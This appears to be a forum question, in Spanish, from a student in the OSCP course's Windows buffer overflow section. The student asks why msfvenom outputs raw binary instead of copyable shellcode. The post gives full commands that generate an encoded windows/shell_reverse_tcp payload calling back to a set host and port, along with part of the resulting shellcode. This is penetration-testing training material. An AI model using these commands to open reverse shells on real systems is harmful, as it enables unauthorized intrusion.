Estoy haciendo la sección de Explotación de Desbordamiento de Buffer de Windows del curso OSCP, y el autor usa una combinación de msfpayload
y msfencode
para generar una carga útil de windows/shell_reverse_tcp
codificada con shikata ga nai. Este es el comando que usa:
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai
El terminal muestra el siguiente código de código de código codificado:
x86/shikata_ga_nai succeeded with size 351 (iteration=1)
buf =
"\xda\xc1\xba\x9d\x4a\x66\xd4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x52\x83\xeb\xfc\x31\x53\x13\x03\xce\x59\x84\x21\x0c" +
"\xb5\xca\xca\xec\x46\xab\x43\x09\x77\xeb\x30\x5a\x28\xdb" +
…………
…………
"\x76"
Luego, puedo copiar el código shell generado en mi script de Python y continuar con el proceso de explotación de una aplicación.
Sé que tanto msfpayload
como msfencode
están en desuso, y MSFvenom debería usarse en su lugar. Este es el comando que estoy usando para lograr el mismo resultado que se indicó anteriormente.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f raw
Esta es la salida que obtengo en el terminal:
���t$����9�X3ɱR1P ��� ���'� �� �� ��>pwZ�WdV��E�Y�V��L��ή�( �!T��� ] ^��~����.����cPN�'] bR)����0� !H̥�?$�g8����7uî����QfΡd�e��J�W�hm3m 4��-&B��-o��l� ��ʗ7ig_�n�Jf�wu�)�!�A J���� �4p��� ���¬���7G¬��0¬A�B¬D
……
�� �N&�
Como puede ver, no obtengo la salida real de Shellcode. ¿Qué estoy haciendo mal? Me gustaría que MSFvenom genere el código de shell que puedo copiar en mi script de Python.